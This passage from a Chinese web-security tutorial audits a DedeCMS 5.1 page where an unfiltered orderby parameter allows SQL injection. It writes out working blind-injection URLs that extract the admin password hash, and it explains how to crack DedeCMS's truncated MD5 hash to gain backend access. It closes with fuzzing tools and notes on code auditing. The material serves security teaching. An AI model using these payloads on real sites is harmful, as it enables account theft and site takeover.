05          $jobs array();
06          $start = ($pageno-1) * $pagesize;
07
08   $dsql->SetQuery("Select * From #@__jobs where memberID='".$cfg_ml->M_ID."' order by $orderby desc limit $start,$pagesize ");
09          $dsql->Execute();
10   while($row $dsql->GetArray()){
11          $row['endtime'] = @ceil(($row['endtime']-$row['pubdate'])/86400);
12          if($row['salaries'] == 0){
13                   $row['salaries'] = '薪酬面议';
14          }
15     $jobs[] = $row;
16    }
17          foreach($jobs as $job)
18          {
19                    //模板文件
20                    include(dirname(__FILE__)."/templets/job.htm");
21          }

 

可以看到,代码在编写的时候,并没有对orderby这个参数进行过滤。导致了注入和畸形数据报错,接下来,我们的任务就是要利用这个漏洞进行有效的注入,获得数据。

我们手工构造一个SQL注入:

1 http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid+and+if(ASCII(SUBSTRING((SELECT+pwd+FROM+dede_admin+where+id=1),0,1))=63,1,(SELECT+pwd+FROM+dede_member))

对应的sql语句:

1 Select From dede_member_guestbook where mid='1' order by mid and if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(select pwd from dede_member));

这样不能成功,因为sql语句的语法是这样的:

1 SELECT select_list
2   [ INTO new_table ]
3   FROM table_source
4   [ WHERE search_condition ]
5   [ GROUP BY group_by_expression ]
6   [ HAVING search_condition ]
7 ORDER BY order_expression [ ASC DESC ] ]

而我们在能控制的参数是order by参数,在where后面,我发现这个时候不管and逻辑的true or false都不影响sql的查询结果。

转换一下思路:

1 http://192.168.174.130/dedecms5.1/member/guestbook_admin.php?dopost=getlist&pageno=1&orderby=mid,if(ASCII(SUBSTRING((select+pwd+from+dede_admin+where+id=1),1,1))=54,1,(select+pwd+from+dede_member))+asc--

对应的sql语句:

1 Select From dede_member_guestbook where mid='1' order by mid,if(ASCII(SUBSTRING((select pwd from dede_admin where id=1),1,1))=55,1,(selectpwd from dede_member)) asc;

这个语句貌似可以利用,因为在标准的sql语法中。在order by后面再加and是没有用的。但是这里用了逗,也就是if后面的语句也属于order by的一部分了。再在最后加上一个asc,盲注入就成功了。

7

8

 

在+asc后面加上–注释号,来屏蔽掉后面的desc limit
0,5,整个语句就能跑通了。根据返回的结果的不一致,利用正则判断一下,就可以利用盲注入进行帐号和密码的猜测。从而获得后台权限。然后dede的密码存放机制是产生32位的MD5后,截断前24位,所以得到的hash只有24位,没法用cmd5.com直接破解。698d51a19d8a121ce581499d,去掉前8位9d8a121ce581499d转换成16位MD5,再用cmd5.com来解密,成功。

9

总结:

Web渗透和代码审计的第一步是对网站的fuzz测试,这可以从整体上对网站的漏洞情况进行扫描,缩小范围。

对漏洞的具体挖掘和利用还是要使用白盒分析,即源代码分析,这样才能更有效的针对不同的代码情况指定出漏洞利用方案。

介绍一些web fuzzing的工具:

1 Browser Fuzzer 3 (bf3) – Comprehensive Web Browser Fuzzing Tool
2 MantraPortable  --- OWASP的一款渗透测试套件
3 Webshag v1.00 – Web Server Auditing Tool (Scanner and File Fuzzer)
4 Wfuzz – A Tool for Bruteforcing/Fuzzing Web Applications
5 WVS
6 LAN Guard
7 SQLmap

小编语:作者要说的是对于一个php的web应用的盲测和代码审计,不过具体代码审计的部分并没有提及太多。其实盲测就相当于web的fuzz,本文作者说到的方法对于一些小的开源程序还是有用的,而一些成熟的cms,发开公司本身在发布之前一定是经过内部的测试工具扫描的,这样想要挖掘到漏洞,更多的是需要像RIPS这样的代码审计工具去辅助。开源的程序看代码是必须的,而漏洞的挖掘简而言之就是对代码的认知度问题,越熟悉这门语言越能发掘出它存在的问题。其实代码审计并没有那么困难,在掌握基本方法后,拼的其实是审计人员的体力,面对大量的代码逻辑看的眼晕哦!

另外对于PHP代码审计来说,通晓漏洞成因是必不可少的部分,

这里推荐当初黑哥写的php代码审计文章:《高级PHP应用程序漏洞审核技术》(相当具有参考价值)

[via@freebuf]